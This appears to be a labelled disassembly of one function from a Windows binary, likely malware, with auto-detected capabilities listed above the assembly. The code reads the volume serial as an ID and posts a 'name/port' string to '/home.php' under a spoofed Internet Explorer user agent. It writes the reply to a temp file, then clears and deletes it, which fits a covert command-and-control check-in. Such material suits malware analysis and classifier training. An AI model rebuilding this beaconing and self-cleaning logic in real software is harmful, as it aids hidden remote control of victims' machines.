Function at 0x10019c50
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x104
lea eax, [ebp - 0x314]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x10019ca6
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.10019b00
test eax, eax
jne 0x10019e42
mov ecx, dword [ebp - 4]
push ebx
push esi
push edi
push eax
push eax
push ecx
push 0x100198e0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10019d0e
lea edx, [ebp - 8]
push edx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10019d0e
test byte [ebp - 8], 2
jne 0x10019d0e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [ebp - 4]
push eax
push str._4C_4F_43_41_4C_53_45_52
push str.name_sport_u
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x210]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019d64
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10019d82
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
lea edx, [ebp - 0x210]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x10c]
push eax
push str._home.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10019dd8
push eax
push 1
push ebx
lea ecx, [ebp - 0x210]
push ecx
push 1
push edi
lea edx, [ebp - 0x10c]
push edx
push str._home.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
je 0x10019e1e
push 1
push 0
lea eax, [ebp - 0x10c]
call fcn.10007220
mov esi, eax
test esi, esi
je 0x10019e1e
push 0x10049794
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 8
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10019e1e
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10019be0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret